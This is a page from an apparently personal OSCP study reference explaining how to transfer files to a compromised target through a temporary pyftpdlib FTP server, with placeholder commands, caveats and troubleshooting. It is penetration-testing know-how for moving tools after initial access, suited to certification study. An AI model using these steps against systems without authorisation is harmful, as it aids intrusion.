Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Usable access/Sessions & transfers
← All sessions & transfers tasks

Use a temporary FTP transfer as a constrained fallback

CommandsIf → thenExplanation & examples

Needs: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment

# On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment
python3 -m pyftpdlib -p PORT

On the target

# On the target
ftp LHOST PORT
binary
get FILE
put FILE
quit

The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.

Verify → Compare bytes and stop the temporary server after its purpose is complete.

If it fails → A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available. More detail ↓

If → then

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime

    Needs: Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients

    Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination

  • An SSH identity can access the needed source/destination → Copy files through an authenticated SSH service

    Needs: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use a temporary FTP transfer as a constrained fallback

USE WHEN
The target has an FTP client and simpler transfer routes are unavailable
STARTING ACCESS
Verified command execution or authenticated remote access and a known network path
RESULT
A verified temporary FTP file transfer

Recognize the clue

Inspect whether a compatible FTP client is the remaining route and whether the temporary server's data channel is reachable.

ftp
help
quit
SYNTHETIC EXAMPLE OUTPUT
Client commands include: open, binary, get, put
No transfer mode selected yet

Means: Client availability permits investigating FTP; binary mode and separate data-channel paths remain necessary.

Confirm: Verify deliberate server scope, control/data connectivity, required read/write and post-transfer hashes.

After validation
Binary transfer completes and hashes match: use that verified temporary copy.
Ruled out in this context
Only the control channel works and the required data route is blocked: reject this FTP path.
Still inconclusive
Client presence alone leaves data transport and server rights unproved.

Troubleshooting: A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.

Additional prerequisite checks

ftp LHOST PORT
binary

Temporary FTP — only when an FTP client is the available route

On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment:

On the target:

The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.

Why it works

FTP has separate control/data channels and can transform files in text mode. The temporary server's default permissions and authentication must be checked.

Worked example · hypothetical

Observation: a binary copied over FTP fails. Test: repeat in binary mode and compare hashes. Illustrative output: the second copy matches. Interpretation: transport mode, not payload generation, caused the failure.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8